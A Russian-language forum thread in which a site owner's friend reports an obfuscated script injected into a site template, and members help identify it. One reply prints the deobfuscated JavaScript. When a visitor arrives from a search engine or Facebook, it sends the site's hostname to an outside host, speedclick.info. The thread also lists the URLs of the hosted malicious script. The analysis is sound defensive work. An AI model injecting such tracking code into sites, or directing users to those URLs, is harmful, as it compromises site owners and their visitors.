Подозрительный скрипт на сайте

[Vincenzo]

Хлопцы, пишет мне тут кореш

какой у тебя антивирус?
попробуй зайти на ________ - не появляется ниче?

и скрин дает



Смотрю обджект инспектором в хроме, вот такое дерьмо




http://g00.co/BtFVPd
http://yourjavascript.com/3921156982/not.js

Судя по тому, что на втором урле обфусцированный джс, че-то это нехорошее. Может кто подсказать шо это за дрянь и шо делать?

Дерьмо это сидит перед футером:



Спасибо

[alkoustas]

бери автомат, и езжай в зону АТО

обфусцированный джс

открой да посмотри в каком нить фаербаге, в чем проблема то

[Adrenalin]

Сообщение от Vincenzo

Может кто подсказать шо это за дрянь и шо делать?

Как минимум снести нахрен с хоста и просмотреть логи, как оно туда попало.

А шо это за дрянь подскажет Virus Total.

[Cannabis Cup]

пасаны кто заразил признавайтесь

[Vincenzo]

Та уже из шаблона кореш удалил, будем логи смотреть. По вирус тоталу сразу посмотрел, пишет, что малишиос код. А шо за ботва - хз.

Сообщение от Cannabis Cup

пасаны кто заразил признавайтесь

Ну, найду чей-то дор - солью на свой акк

[editeur]

Вот такое там вызывается

function notificar() {
    if (window.XMLHttpRequest) xmlhttp = new XMLHttpRequest();
    else xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    var host = window.location.hostname;
    xmlhttp.open("GET", "http://speedclick.info/app/amung.php?c=a&s=" + host, false);
    xmlhttp.send();
    //return false;
}
var x = document.referrer;
var f = x.search("facebook");
var g = x.search("google");
var m = x.search("bing");
var y = x.search("yahoo");
if (f > 0 || g > 0 || m > 0 || y > 0) {
    notificar();
}

если по рефереру видно, что переход из поисковиков или фейсбука, делается запрос на h__p://speedclick.info/app/amung.php?c=a&s=твойдомен

[Vincenzo]

Сообщение от editeur

если по рефереру видно, что переход из поисковиков или фейсбука, делается запрос на h__p://speedclick.info/app/amung.php?c=a&s=твойдомен

Ебаный стыд. Спасибо за помощь, будем искать источник и дыры.